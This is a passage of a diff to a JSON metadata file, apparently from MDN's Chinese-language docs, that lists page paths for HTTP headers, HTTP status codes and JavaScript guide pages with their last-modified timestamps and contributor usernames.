"RainSlide", + "WayneCui", + "xgqfrms-GitHub", + "LangDonHJJ" ] }, - "Web/HTTP/Headers/Location": { - "modified": "2020-10-15T21:54:51.524Z", + "Web/HTTP/Status/413": { + "modified": "2019-03-23T22:10:34.207Z", "contributors": [ + "liaozhaonan", "WayneCui" ] }, - "Web/HTTP/Headers/Origin": { - "modified": "2020-10-15T21:53:11.797Z", - "contributors": [ - "JasonJunJun", - "yuankunzhang" - ] - }, - "Web/HTTP/Headers/Pragma": { - "modified": "2020-10-15T21:54:59.607Z", + "Web/HTTP/Status/414": { + "modified": "2019-03-23T22:10:20.896Z", "contributors": [ + "liaozhaonan", + "jokechat", "WayneCui" ] }, - "Web/HTTP/Headers/Proxy-Authenticate": { - "modified": "2019-03-23T22:10:44.148Z", + "Web/HTTP/Status/415": { + "modified": "2019-03-23T22:10:21.961Z", "contributors": [ "WayneCui" ] }, - "Web/HTTP/Headers/Proxy-Authorization": { - "modified": "2019-03-23T22:10:44.333Z", + "Web/HTTP/Status/416": { + "modified": "2020-10-15T21:54:41.290Z", "contributors": [ + "liaozhaonan", "WayneCui" ] }, - "Web/HTTP/Headers/Public-Key-Pins": { - "modified": "2020-10-15T21:55:02.367Z", + "Web/HTTP/Status/417": { + "modified": "2019-03-23T22:11:26.822Z", "contributors": [ - "shevacjs", "WayneCui" ] }, - "Web/HTTP/Headers/Public-Key-Pins-Report-Only": { - "modified": "2020-10-15T22:04:11.647Z", + "Web/HTTP/Status/418": { + "modified": "2020-10-15T22:03:59.306Z", "contributors": [ + "iSakuraNyan", + "dzamlo", "ujsxn", - "shevacjs" - ] - }, - "Web/HTTP/Headers/Range": { - "modified": "2020-10-15T21:54:38.123Z", - "contributors": [ - "Meteormatt", - "WayneCui" + "youngseaz" ] }, - "Web/HTTP/Headers/Referer": { - "modified": "2020-10-15T21:55:01.465Z", + "Web/HTTP/Status/422": { + "modified": "2019-10-08T22:59:23.853Z", "contributors": [ - "xiaozhaofu", - "yenshen", - "WayneCui" + "fuxingZhang", + "SphinxKnight", + "uniforest", + "ihgazni2" ] }, - "Web/HTTP/Headers/Referrer-Policy": { - "modified": "2020-10-15T21:54:58.993Z", + "Web/HTTP/Status/425": { + "modified": "2020-10-15T22:09:53.408Z", "contributors": [ - "gadflysu", - "WeihanLi", - "WayneCui" + "liaozhaonan", + "ibard" ] }, - "Web/HTTP/Headers/Retry-After": { - "modified": "2020-10-15T21:54:59.380Z", + "Web/HTTP/Status/426": { + "modified": "2019-03-23T22:10:22.184Z", "contributors": [ "WayneCui" ] }, - "Web/HTTP/Headers/Save-Data": { - "modified": "2020-10-15T22:21:57.010Z", - "contributors": [ - "Mulan", - "fuxingZhang" - ] - }, - "Web/HTTP/Headers/Sec-Fetch-Dest": { - "modified": "2020-10-17T03:01:57.521Z", - "contributors": [ - "hebing0415", - "hellorayza" - ] - }, - "Web/HTTP/Headers/Sec-Fetch-Mode": { - "modified": "2020-10-15T22:31:17.439Z", - "contributors": [ - "EbeRybDI", - "haolayo" - ] - }, - "Web/HTTP/Headers/Sec-Fetch-Site": { - "modified": "2020-10-15T22:32:55.276Z", - "contributors": [ - "EbeRybDI" - ] - }, - "Web/HTTP/Headers/Sec-Fetch-User": { - "modified": "2020-10-15T22:32:45.194Z", - "contributors": [ - "EbeRybDI" - ] - }, - "Web/HTTP/Headers/Sec-WebSocket-Accept": { - "modified": "2020-10-15T22:11:54.497Z", - "contributors": [ - "Greenstorm" - ] - }, - "Web/HTTP/Headers/Server": { - "modified": "2020-10-15T21:54:58.617Z", + "Web/HTTP/Status/428": { + "modified": "2019-03-23T22:11:11.819Z", "contributors": [ - "yenshen", "WayneCui" ] }, - "Web/HTTP/Headers/Server-Timing": { - "modified": "2020-10-15T22:22:26.582Z", - "contributors": [ - "Mulan", - "laingke" - ] - }, - "Web/HTTP/Headers/Set-Cookie": { - "modified": "2020-10-15T21:54:55.958Z", + "Web/HTTP/Status/429": { + "modified": "2019-03-23T22:11:18.935Z", "contributors": [ - "wenlonghuo", - "superATM", - "royIdoodle", "WayneCui" ] }, - "Web/HTTP/Headers/Set-Cookie/SameSite": { - "modified": "2020-10-15T22:28:42.430Z", - "contributors": [ - "EbeRybDI", - "tinaawang" - ] - }, - "Web/HTTP/Headers/Set-Cookie2": { - "modified": "2020-10-15T21:54:57.437Z", + "Web/HTTP/Status/431": { + "modified": "2019-03-23T22:10:21.832Z", "contributors": [ "WayneCui" ] }, - "Web/HTTP/Headers/SourceMap": { - "modified": "2020-10-15T21:55:30.390Z", - "contributors": [ - "Pada" - ] - }, - "Web/HTTP/Headers/TE": { - "modified": "2020-10-15T21:54:38.379Z", + "Web/HTTP/Status/451": { + "modified": "2020-10-15T21:55:07.508Z", "contributors": [ - "ujsxn", - "shevacjs", "WayneCui" ] }, - "Web/HTTP/Headers/Timing-Allow-Origin": { - "modified": "2020-10-15T21:58:04.341Z", + "Web/HTTP/Status/500": { + "modified": "2020-10-15T21:55:08.324Z", "contributors": [ - "firesun", - "shevacjs" + "danmurch77", + "sideshowbarker", + "lesikolerina23", + "davywsr", + "slivenred", + "RainSlide", + "WayneCui", + "ziyunfei", + "aosan002" ] }, - "Web/HTTP/Headers/Tk": { - "modified": "2019-03-23T22:07:59.446Z", + "Web/HTTP/Status/501": { + "modified": "2020-10-15T21:52:25.911Z", "contributors": [ - "WayneCui" + "WayneCui", + "fscholz", + "hxl" ] }, - "Web/HTTP/Headers/Trailer": { - "modified": "2020-10-15T21:54:41.193Z", + "Web/HTTP/Status/502": { + "modified": "2020-10-15T21:55:11.141Z", "contributors": [ - "yuankunzhang", + "davywsr", + "iSakuraNyan", + "slivenred", + "wangtongchao", "WayneCui" ] }, - "Web/HTTP/Headers/Transfer-Encoding": { - "modified": "2020-10-15T21:54:37.943Z", + "Web/HTTP/Status/503": { + "modified": "2020-10-15T21:55:07.373Z", "contributors": [ + "davywsr", + "slivenred", "WayneCui" ] }, - "Web/HTTP/Headers/Upgrade-Insecure-Requests": { - "modified": "2020-10-15T21:55:00.901Z", + "Web/HTTP/Status/504": { + "modified": "2020-10-15T21:55:08.765Z", "contributors": [ + "davywsr", + "slivenred", "WayneCui" ] }, - "Web/HTTP/Headers/User-Agent": { - "modified": "2020-10-15T21:55:01.835Z", + "Web/HTTP/Status/505": { + "modified": "2019-03-23T22:10:20.789Z", "contributors": [ - "RainSlide", - "zidian257", - "wangshi3", - "qwqmeow", - "AaronGod", "WayneCui" ] }, - "Web/HTTP/Headers/User-Agent/Firefox": { - "modified": "2019-03-18T21:31:55.000Z", - "contributors": [ - "RainSlide", - "konrumi" - ] - }, - "Web/HTTP/Headers/Vary": { - "modified": "2020-10-15T21:53:14.511Z", - "contributors": [ - "swanf", - "WayneCui", - "ujsxn", - "newhuan" - ] - }, - "Web/HTTP/Headers/Via": { - "modified": "2020-10-15T21:54:55.047Z", + "Web/HTTP/Status/506": { + "modified": "2020-01-19T03:41:58.311Z", "contributors": [ - "WayneCui" + "radarfyh" ] }, - "Web/HTTP/Headers/WWW-Authenticate": { - "modified": "2020-09-03T05:56:40.972Z", + "Web/HTTP/Status/507": { + "modified": "2020-01-19T03:58:16.574Z", "contributors": [ - "EbeRybDI", - "zslucky" + "radarfyh" ] }, - "Web/HTTP/Headers/Warning": { - "modified": "2020-10-15T21:55:02.128Z", + "Web/HTTP/Status/508": { + "modified": "2020-01-19T04:02:35.671Z", "contributors": [ - "liaozhaonan", - "WayneCui" + "radarfyh" ] }, - "Web/HTTP/Headers/X-Content-Type-Options": { - "modified": "2020-10-15T21:54:52.946Z", + "Web/HTTP/Status/510": { + "modified": "2020-01-19T04:08:53.633Z", "contributors": [ - "kidonng", - "kbyyd24", - "WayneCui" + "radarfyh" ] }, - "Web/HTTP/Headers/X-Forwarded-For": { - "modified": "2019-03-23T22:11:03.571Z", + "Web/HTTP/Status/511": { + "modified": "2019-03-23T22:10:19.671Z", "contributors": [ "WayneCui" ] }, - "Web/HTTP/Headers/X-Forwarded-Host": { - "modified": "2019-03-23T22:10:57.844Z", + "Web/Houdini": { + "modified": "2020-11-21T05:08:58.458Z", "contributors": [ - "WayneCui" + "xusy", + "bingoYB", + "cutefcc", + "sunfeel", + "xgqfrms" ] }, - "Web/HTTP/Headers/X-Forwarded-Proto": { - "modified": "2019-03-23T22:11:05.199Z", + "Web/JavaScript": { + "modified": "2020-09-21T00:46:20.876Z", "contributors": [ - "hbbalfred", - "WayneCui" - ] - }, - "Web/HTTP/Headers/X-XSS-Protection": { - "modified": "2020-10-15T21:53:06.446Z", + "mkckr0", + "sengang", + "SeaAster", + "liunanchenFYJJ", + "SphinxKnight", + "iworkerweb", + "lifankohome", + "huhufufu", + "marslord", + "leo_yang", + "zhao_nanli", + "limingqian", + "xunyegege", + "price", + "konantian", + "xclhs", + "qazsweet", + "Frederick-S", + "fenyu", + "ZengYu", + "toyflivver", + "yonbo", + "ThomasWhyne", + "pluwen", + "loveagri", + "edwards1101", + "ngtmuzi", + "wemamawe", + "danmin25", + "ghb609840612", + "zxsunrise", + "wangwenhao", + "WinnerNew", + "yokiyang", + "XuQuan-nikkkki", + "Jonham", + "ElliottZheng", + "towerman1990", + "qdlaoyao", + "yong_a", + "sqchenxiyuan", + "ZhangQiRong", + "lixw1994", + "qyjs", + "zhangchen", + "baooab", + "Mr-Li-admin", + "shaodahong", + "marsoln", + "Cnmahj", + "lemonsWen", + "lppking", + "viko16", + "leafdog", + "Ende93", + "VdoG", + "xiaokk06", + "xgqfrms", + "Rusion-Wayne", + "xiaoyusilen", + "Moressette", + "simongfxu", + "eforegist", + "nperhb", + "wth", + "WentaoMa", + "Roland_Reed", + "leonine", + "stdupp", + "lunix01", + "sammuelyee", + "MMOnster", + "redman9", + "wangsai", + "flyingdew", + "Yaty", + "yenshen", + "apollo", + "azzndmy", + "yiding_he", + "Brainor", + "ReyCG_sub", + "teoli", + "7anshuai", + "xcffl", + "ziyunfei", + "Asvel", + "sonzero@163.com", + "xiaoxiong", + "iwo", + "lins05" + ] + }, + "Web/JavaScript/A_re-introduction_to_JavaScript": { + "modified": "2020-12-11T11:33:32.340Z", + "contributors": [ + "柳涤尘", + "SphinxKnight", + "BruceHong666", + "koo4", + "hechenxi", + "hufeicom", + "eMUQI", + "houfengqaz", + "licia-tia", + "necokeine", + "Pro-A", + "TianLangStudio", + "Frederick-S", + "123Jonne", + "fenglui", + "RainSlide", + "zhaoke2018", + "coldfog", + "edenpan", + "kanaza", + "LeoB-O", + "panle666", + "SAM.L", + "YRFT", + "Park-ma", + "LuoYun", + "mysmlz", + "OldisNewXrf", + "Jiasm", + "HoldDie", + "byoungd", + "TheLostXianXian", + "RockJerffreason", + "JayceZhang9602", + "funnyChinese", + "liubiantao", + "suxiesumiao", + "Jack-Q", + "w-halo", + "marsoln", + "Poisonloc", + "ngtmuzi", + "pramper", + "wangbin2015", + "Ende93", + "machao", + "Tienyz", + "susutou", + "xlyimi", + "ziyunfei", + "arniu", + "Breezewish", + "ticketock", + "teoli", + "xuxun", + "Joe_Zhao", + "xcffl", + "ethertank", + "Mgjbot", + "Physacco", + "Carrie zhxj", + "Laser" + ] + }, + "Web/JavaScript/About_JavaScript": { + "modified": "2020-03-12T19:36:16.731Z", + "contributors": [ + "Poisonloc", + "ziyunfei", + "Breezewish", + "gelin", + "teoli", + "Meteormatt", + "ethertank", + "undercooled" + ] + }, + "Web/JavaScript/Closures": { + "modified": "2020-10-14T01:19:42.853Z", + "contributors": [ + "Neo42", + "sunan112", + "xuqian", + "xvusrmqj", + "Lazy_Bone", + "mkckr0", + "fish-inu", + "Nonym", + "kingsley2036", + "watsonhaw", + "LuoYun", + "maoyumaoxun", + "HongjinLI", + "dreampasssser", + "foshhh", + "Akiq2016", + "szengtal", + "zhang-hongwei", + "helloli", + "xgqfrms-GitHub", + "ziyunfei", + "zhuangyin", + "springfish", + "ZZES_REN", + "righttoe", + "hiyoushu", + "KngZhi", + "eeeeeeeason", + "HeSijie", + "calidion", + "mr.code", + "lihx_hit", + "_da", + "xgqfrms", + "wth", + "Jack-Q", + "distums", + "Poisonloc", + "mysticzap", + "vino24", + "putdownTheCode", + "yang.rc", + "maybe", + "fskuok", + "devyps", + "Breezewish", + "phoenix.huang", + "kangkai92", + "teoli", + "hui314", + "rogersuen" + ] + }, + "Web/JavaScript/Data_structures": { + "modified": "2020-06-05T03:23:50.915Z", + "contributors": [ + "zangbianxuegu", + "wallena3", + "Logan-Li", + "xuanji", + "huxinsen", + "molee1905", + "WangLeto", + "wemamawe", + "ywjco", + "ShirleyM", + "wblovezqy", + "eyasliu", + "issliu", + "hangyangws", + "Musan", + "Ende93", + "eric183", + "Jacobwang", + "knightf", + "JsonMe", + "asdzxcqwe", + "holsety", + "Breezewish", + "ElsaHuang", + "7anshuai", + "teoli", + "keechi", + "polucy", + "_WhiteCusp" + ] + }, + "Web/JavaScript/Enumerability_and_ownership_of_properties": { + "modified": "2020-08-31T07:44:40.404Z", + "contributors": [ + "unbyte", + "RainSlide", + "leavesster", + "Ende93", + "walfud", + "funroller", + "monjer", + "Gaohaoyang", + "xiefei89", + "Jack-Q", + "ziyunfei", + "yenshen" + ] + }, + "Web/JavaScript/Equality_comparisons_and_sameness": { + "modified": "2020-10-17T07:01:49.622Z", + "contributors": [ + "jaredhan418", + "zjffun", + "RenzHoly", + "gongzhibin", + "xiayao", + "esphas", + "dy21335", + "Charlotte007", + "fun3c", + "Ende93", + "xgqfrms-GitHub", + "vincenting", + "Roland_Reed", + "Jack-Q", + "ngtmuzi", + "i-PeterZhang", + "xufeng", + "ziyunfei", + "fskuok", + "tiansh", + "faceach", + "ilia" + ] + }, + "Web/JavaScript/EventLoop": { + "modified": "2020-08-12T23:49:07.122Z", + "contributors": [ + "JobbyM", + "johnao", + "penglianglee", + "molee1905", + "sundi78634", + "xgl", + "SterileSummer", + "esphas", + "daxiazilong", + "zhangchen", + "Thoxvi", + "zhuangyin", + "LeoSpark", + "mozhs", + "xgqfrms-GitHub", + "LiXin", + "xycd", + "hxyoo1990", + "guoqiang", + "fengma", + "Ende93", + "xiaojichao", + "liyongleihf2006", + "slayerxj", + "timwangdev", + "distums", + "xufeng", + "ziyunfei", + "jcouyang", + "shinv", + "lcxfs1991", + "HectorGuo", + "Fantasy_shao" + ] + }, + "Web/JavaScript/Guide": { + "modified": "2020-04-10T23:43:33.112Z", + "contributors": [ + "lyno", + "RainSlide", + "Soy", + "Wenfang_Du", + "mumu-one", + "xuziang111", + "miffy24", + "shannonZhong", + "bowen-wu", + "Pomelo1213", + "Jamamm", + "xiaozhi1", + "bibi941", + "zhumengyua", + "XINHE", + "frankfang1990", + "zhangchen", + "santong", + "Grizzly-Eric", + "WavinFlag", + "Moressette", + "nperhb", + "yenshen", + "ngtmuzi", + "taccelerate", + "456wyc", + "lunix01", + "kacoro", + "ssbunny", + "wsxyeah", + "teoli", + "ziyunfei", + "rogersuen" + ] + }, + "Web/JavaScript/Guide/Control_flow_and_error_handling": { + "modified": "2020-03-12T19:37:58.561Z", + "contributors": [ + "ChenZhuoSteve", + "xclhs", + "fanqw", + "zhangchen", + "Hitomichan", + "sqchenxiyuan", + "123456zzz", + "zsxeee", + "xgqfrms-GitHub", + "cdz", + "lwxyfer", + "hpcherry", + "funnyChinese", + "ticketock", + "anbang", + "xdsnet", + "codetaro", + "think3t", + "Moressette", + "eforegist", + "boredivan", + "kavon", + "victor0801x", + "eating_miao", + "tangolivesky", + "zouyonghao", + "GodEngine", + "binhex", + "lushunming", + "MurphyL", + "zhaozhb", + "DeepDarkSpirit", + "kictpov", + "wenxiangmao", + "gabrielwu", + "tao0923", + "wolfFN", + "wangxb", + "ziyunfei", + "tonypupp", + "Shimo", + "teoli" + ] + }, + "Web/JavaScript/Guide/Details_of_the_Object_Model": { + "modified": "2020-07-21T04:10:47.398Z", + "contributors": [ + "suvyme", + "johnao", + "tzmf", + "zjffun", + "wbamberg", + "AlphaGo88", + "ThomasWhyne", + "yokiyang", + "zhangchen", + "MiRinZhang", + "Ende93", + "michelia", + "ywang1724", + "ReyCG", + "teoli", + "key", + "ziyunfei", + "zsytssk", + "rogersuen" + ] + }, + "Web/JavaScript/Guide/Expressions_and_Operators": { + "modified": "2020-12-12T02:19:33.855Z", + "contributors": [ + "柳涤尘", + "aq1121", + "Ende93", + "bifan", + "ZhQb", + "maoyumaoxun", + "LuoYun", + "yuansuye", + "syhxczy", + "zhangchen", + "bozh", + "lociver", + "vividlai", + "vincenting", + "choury", + "wenmin92", + "_da", + "zhaoge26", + "chenpeiguang", + "codetaro", + "Gohikin", + "sgr", + "bigzhao", + "imDemo", + "klutzCoder", + "cinside", + "chuanyidai", + "eddy8", + "kavon", + "victor0801x", + "ngtmuzi", + "xoyoz", + "RachelChen", + "zenzzy", + "wumouse", + "Toweave", + "wenxiangmao", + "mpchina", + "z_p_p", + "997404959", + "Frantic1048", + "teoli", + "LieGroup", + "sevens", + "john_li", + "carl_zhu", + "ziyunfei" + ] + }, + "Web/JavaScript/Guide/Functions": { + "modified": "2020-09-16T04:44:03.700Z", + "contributors": [ + "springwq", + "johnao", + "YooHoeh", + "narutojian", + "chrisdavidmills", + "yulongjing", + "white-more", + "Jzhuonan", + "vainl", + "putongxiaozhu", + "yuansuye", + "Phoenix13", + "SphinxKnight", + "NotDead-NotPerish", + "zhangchen", + "ian.zhang", + "xgqfrms-GitHub", + "wenmin92", + "codetaro", + "appie963", + "caicaicai", + "Darkoe", + "victor0801x", + "helloguangxue", + "tangolivesky", + "wumouse", + "Ende93", + "SamuraiMe", + "duckisaac", + "ziyunfei", + "Cjavaer", + "snowsolf", + "lvjs", + "smartkid", + "teoli", + "sunorry", + "iwo" + ] + }, + "Web/JavaScript/Guide/Grammar_and_types": { + "modified": "2020-10-01T04:36:59.031Z", + "contributors": [ + "dva2019ksy", + "junhaoim", + "SirnoChan", + "Meow-z", + "catlair", + "WoodCube", + "lorry0508", + "ronesam", + "inlym", + "AlphaGo88", + "strandjun", + "hgbj0001", + "vainl", + "goodqd", + "yuansuye", + "zxsunrise", + "hiyoushu", + "zhumengyua", + "runyul", + "shelleyIstar", + "superkuang", + "BlasphemerAzog", + "Timer", + "tjyas", + "xgqfrms-GitHub", + "zxsky1", + "cdz", + "Taisetsuz", + "Arthur.CHANG", + "Seattle", + "faremax", + "fengma", + "xdsnet", + "codetaro", + "VdoG", + "tylerxue", + "Ende93", + "zurl", + "Moressette", + "dsb123dsb", + "kangkai0124", + "koalaxiaot", + "eforegist", + "GoForWill", + "m4jing", + "gknpezgssb", + "evolighting", + "TruthBean", + "kavon", + "victor0801x", + "PoppinL", + "louwuxin", + "xioZquan", + "zhaozhb", + "zouyonghao", + "ziyunfei", + "amIurs", + "gabrielwu", + "kacoro", + "tiansh", + "ReyCG_sub", + "teoli", + "LieGroup", + "evantre", + "iwo" + ] + }, + "Web/JavaScript/Guide/Indexed_collections": { + "modified": "2020-06-29T06:11:51.519Z", + "contributors": [ + "MaZheng", + "amzrk2", + "keys", + "ruoxianbaby", + "aimishan", + "BUnnY25", + "LeoSpark", + "hpcherry", + "niccoming", + "xdsnet", + "kiyonlin", + "codetaro", + "caoruiy", + "suxiesumiao", + "victor0801x", + "zhulinpinyu", + "456wyc", + "gaigeshen", + "VincentLiu0314" + ] + }, + "Web/JavaScript/Guide/Introduction": { + "modified": "2020-07-30T09:11:33.207Z", + "contributors": [ + "Kirin", + "RainSlide", + "agulleung", + "inlym", + "daxiazilong", + "a358003542", + "ElliottZheng", + "runyul", + "123456zzz", + "wushengde", + "zhuangyin", + "lsbrucelincoln", + "seaHeater", + "_da", + "xdsnet", + "VdoG", + "xiaoyusilen", + "eforegist", + "Mosan", + "Joilence", + "LeoMobileDeveloper", + "m4jing", + "dunizb", + "solome", + "zhanglei1995", + "zhe13", + "Rambone", + "Ende93", + "majunbao", + "MurphyL", + "zouyonghao", + "zhengshi", + "fissh", + "pixiu", + "ssbunny", + "PhenixGhost", + "MrH2S", + "HopeCoder", + "ziyunfei", + "hackerZhang" + ] + }, + "Web/JavaScript/Guide/Iterators_and_Generators": { + "modified": "2020-04-19T03:41:05.778Z", + "contributors": [ + "Russell", + "johnao", + "NieLamu", + "SageX", + "Yayure", + "ErChuan", + "RainSlide", + "jupiterben", + "xgqfrms", + "Wuqichao", + "BingerWeb", + "yueshuiniao", + "zhangjiawei0", + "zhangchen", + "azoth1991", + "ezirmusitua", + "xgqfrms-GitHub", + "DarwinniwraD", + "kiyonlin", + "Howard.Chen", + "ianfung1998", + "liadbiz", + "snandy", + "teoli", + "ziyunfei", + "AriesDevil", + "Joyce" + ] + }, + "Web/JavaScript/Guide/Keyed_collections": { + "modified": "2020-03-12T19:41:31.376Z", + "contributors": [ + "haoye999", + "Jiasm", + "zhangchen", + "jiahui", + "indux", + "supermanmsc", + "fengzhongye" + ] + }, + "Web/JavaScript/Guide/Loops_and_iteration": { + "modified": "2020-03-12T19:42:07.957Z", + "contributors": [ + "koor", + "narutojian", + "RainSlide", + "Wuqichao", + "SphinxKnight", + "zero_zero_zero", + "zhuangyin", + "Zheng7426", + "Bob_young", + "xiaowei.yang", + "johncido", + "xgqfrms-GitHub", + "xdsnet", + "codetaro", + "suxiesumiao", + "AcJoker", + "kavon", + "lushunming", + "MurphyL", + "wumouse", + "intuitionfly" + ] + }, + "Web/JavaScript/Guide/Meta_programming": { + "modified": "2020-10-06T11:58:28.618Z", + "contributors": [ + "SeekerGAO", + "suvyme", + "RainSlide", + "OStoneO", + "rikochyou", + "zhangchen", + "123456zzz", + "pamikel", + "xgqfrms-GitHub", + "hpcherry", + "zyMacro", + "cughudson_1", + "acekingke", + "binhex", + "FredWe" + ] + }, + "Web/JavaScript/Guide/Modules": { + "modified": "2020-10-15T22:19:12.670Z", + "contributors": [ + "ran", + "PPFei5Zhou", + "bkuke", + "StorytellerF", + "Yayure", + "narutojian", + "RainSlide", + "hotbaby" + ] + }, + "Web/JavaScript/Guide/Numbers_and_dates": { + "modified": "2020-12-12T05:50:13.576Z", + "contributors": [ + "柳涤尘", + "antield", + "symant233", + "迷子碳", + "qazsweet", + "canyi1942", + "fenyu", + "adasqg", + "zms1995", + "trionfo1993", + "ShaderWind", + "vividlai", + "yonglezhou", + "DaiZhiTao", + "jitingsun", + "niccoming", + "xiaokk06", + "sgr", + "suxiesumiao", + "victor0801x", + "zhulinpinyu", + "williamchu123", + "ShiJianwen", + "zhe13", + "Toweave", + "Serifx", + "456wyc", + "wenxiangmao" + ] + }, + "Web/JavaScript/Guide/Regular_Expressions": { + "modified": "2020-11-07T12:19:15.360Z", + "contributors": [ + "hensonxu", + "imbriansun", + "Alibuibui", + "srq18211", + "symant233", + "MikeLeon23", + "antield", + "zytjs", + "jingkaimori", + "aliasliao", + "Clara-hy", + "yasen-wolf", + "cody343960591", + "PoppinL", + "cy234", + "RainSlide", + "pzjzeason", + "millionssss", + "iamwwc", + "Yayure", + "Checkson", + "crow-n", + "yadex", + "OlingCat", + "Fungzhe", + "ts0307", + "jianglinghao", + "SphinxKnight", + "AlexStacker", + "zhuangyin", + "Ahhaha233", + "yinsang", + "fengma", + "chenym1992", + "ataotao", + "lixingdecai", + "bmxklYzj", + "Frantic1048", + "hysunny", + "xgqfrms-GitHub", + "Ckc", + "Jeff-Kook", + "ljy", + "maoxiaoke", + "falltodis", + "codetaro", + "simongfxu", + "fanyj1994", + "huaxiabuluo", + "lvhao96", + "luobotang", + "yisibl", + "ngtmuzi", + "chen_wang", + "Ende93", + "sunshineMaria", + "snowsolf", + "sleep", + "Shimo", + "Guanjinke", + "teoli", + "sablib", + "thesadboy", + "devqin", + "jpuncle", + "xiaoxiong", + "ziyunfei" + ] + }, + "Web/JavaScript/Guide/Regular_Expressions/Assertions": { + "modified": "2020-11-07T12:07:11.701Z", + "contributors": [ + "hensonxu", + "srq18211", + "oxyg3n", + "zytjs", + "fish-inu", + "Dev_ljp", + "Xu-Angel", + "liuhao088" + ] + }, + "Web/JavaScript/Guide/Regular_Expressions/Character_Classes": { + "modified": "2020-06-28T13:35:45.679Z", + "contributors": [ + "srq18211" + ] + }, + "Web/JavaScript/Guide/Regular_Expressions/Groups_and_Ranges": { + "modified": "2020-08-21T07:28:58.610Z", + "contributors": [ + "srq18211" + ] + }, + "Web/JavaScript/Guide/Regular_Expressions/Unicode_Property_Escapes": { + "modified": "2020-07-11T06:10:35.787Z", + "contributors": [ + "zkmbdbbdd" + ] + }, + "Web/JavaScript/Guide/Text_formatting": { + "modified": "2020-07-13T05:48:34.741Z", + "contributors": [ + "laampui", + "zhangchen", + "niccoming", + "evolighting", + "i-PeterZhang", + "456wyc", + "redman9", + "guangxiyu" + ] + }, + "Web/JavaScript/Guide/Using_promises": { + "modified": "2020-09-28T05:37:42.938Z", + "contributors": [ + "Radix10", + "xuquentinyang", + "HashiKudo", + "brizer", + "iEmcc", + "johnao", + "abellong", + "SAM.L", + "RainSlide", + "VickyJin", + "jessica1990", + "TeabugCC", + "zhuangyin", + "ujsxn", + "huixisheng", + "yulongjing", + "rxliuli", + "yonoel", + "DevOps", + "brandonhyc", + "eeeecw", + "zotille", + "xuziang111", + "NN708", + "xuxun", + "zhangchen", + "Evoque", + "Pythonofsdc", + "vanishcode", + "winjeysong", + "cwc7233", + "TimmyKingFree" + ] + }, + "Web/JavaScript/Guide/Working_with_Objects": { + "modified": "2020-03-21T00:54:40.101Z", + "contributors": [ + "johnao", + "fish-inu", + "ngtmuzi", + "Pomelo1213", + "ywjco", + "kramon", + "kgojiwong", + "xgqfrms-GitHub", + "heliangb46", + "Grizzly-Eric", + "zhanglianxin", + "coderfee", + "kiyonlin", + "IrisZhang", + "xwartz", + "Darkoe", + "XueSeason", + "jigs12", + "ReyCG_sub", + "smartkid", + "teoli", + "koala", + "ziyunfei" + ] + }, + "Web/JavaScript/Inheritance_and_the_prototype_chain": { + "modified": "2020-10-20T00:17:44.610Z", + "contributors": [ + "jack_chen", + "Nirvana-zsy", + "PiersZhang", + "YTInMyHeart", + "熊英明", + "AaronZzz", + "hydra-zim", + "demongodYY", + "c932828964", + "maozhenyu123", + "NicholasKong", + "Huangyilin19", + "MonkingStand", + "RainSlide", + "xulinggege", + "Rayyh", + "glud123", + "HuangXiZhou", + "Ieeebruce", + "Snailight", + "yonoel", + "lllbahol", + "ssttii", + "xgqfrms", + "DPJune1", + "MQpeng", + "yangzi", + "zhuangyin", + "anglli", + "Akiq2016", + "jeasonstudio", + "Sevenskey", + "LiXin", + "qiu_han", + "zhangchen", + "keifergu", + "jiangzhenggeng", + "DendiSe7enGitHub", + "zenith7ryu", + "feiyuabc", + "KngZhi", + "xgqfrms-GitHub", + "efeencheung", + "TwinkleLeon", + "jyjz2008", + "Mrzouning", + "craney", + "Ende93", + "nanflower", + "Ares_Xu", + "RenzHoly", + "xiaokk06", + "Musan", + "Downpooooour", + "maicss", + "iplus26", + "gavinjs", + "ziyunfei", + "hbkdsm", + "hipop", + "860136", + "Tranch", + "ReyCG", + "teoli", + "hutuxu" + ] + }, + "Web/JavaScript/JavaScript_technologies_overview": { + "modified": "2020-03-12T19:38:44.101Z", + "contributors": [ + "RainSlide", + "zhanglianxin", + "lunix01", + "Musan", + "ReyCG_sub", + "teoli", + "YuQiang.Yuan" + ] + }, + "Web/JavaScript/Language_Resources": { + "modified": "2020-03-12T19:37:56.380Z", + "contributors": [ + "lunix01", + "teoli", + "ziyunfei" + ] + }, + "Web/JavaScript/Memory_Management": { + "modified": "2020-03-12T19:38:33.297Z", + "contributors": [ + "y00rb", + "xueliang", + "leavesster", + "quding0308", + "liujuntao123", + "JuneDeng2014", + "ilexwg", + "DarrenMan", + "zhangchen", + "micooz", + "sunnylost", + "Ende93", + "wth", + "timwangdev", + "jackyKin", + "horizon0514", + "knightf", + "Bosn", + "teoli", + "Samoay", + "tank", + "jnoodle", + "Joe_Zhao", + "ziyunfei" + ] + }, + "Web/JavaScript/Reference": { + "modified": "2020-09-20T23:15:37.162Z", + "contributors": [ + "laampui", + "seanhuai", + "wwj402", + "RainSlide", + "ssttii", + "causal", + "zhangchen", + "Ende93", + "lunix01", + "ziyunfei", + "teoli", + "CHiENiUS", + "kovchou" + ] + }, + "Web/JavaScript/Reference/About": { + "modified": "2020-03-12T19:40:27.168Z", + "contributors": [ + "Jack-Q", + "lunix01", + "qlxiao520", + "ziyunfei", + "yenshen" + ] + }, + "Web/JavaScript/Reference/Classes": { + "modified": "2020-11-21T07:35:29.331Z", + "contributors": [ + "xiaoxiao1024", + "xgqfrms", + "niices", + "showad", + "xuyimingwork", + "zytjs", + "brizer", + "johnao", + "PeanutQAQ", + "HermitSun", + "narutojian", + "JackDing1208", + "willerhehehe", + "zhangchen", + "llyo", + "LiXin", + "xgqfrms-GitHub", + "LouisaNikita", + "winjeysong", + "PhilTheAir", + "XiongAmao", + "kylezhang", + "tarma", + "Jeane", + "Ende93", + "miuchan", + "slientomorrr", + "ziyunfei", + "eric183", + "sartrey", + "snandy", + "bumaociyuan" + ] + }, + "Web/JavaScript/Reference/Classes/Private_class_fields": { + "modified": "2020-10-15T22:30:12.129Z", + "contributors": [ + "zhuangyin", + "symant233", + "wizard-intraining" + ] + }, + "Web/JavaScript/Reference/Classes/constructor": { + "modified": "2020-10-15T21:36:30.986Z", + "contributors": [ + "zhangchen", + "CJackYang", + "jiangseventeen", + "xgqfrms-GitHub", + "Ende93", + "destinyCherry", + "MarxJiao", + "chaooo", + "Lellansin" + ] + }, + "Web/JavaScript/Reference/Classes/extends": { + "modified": "2020-10-15T21:37:25.638Z", + "contributors": [ + "zhangchen", + "thinkershare", + "liuwj", + "xgqfrms-GitHub", + "MoYahoo", + "Ende93", + "xiaoweb", + "ziyunfei", + "TinyJiang", + "pixiu" + ] + 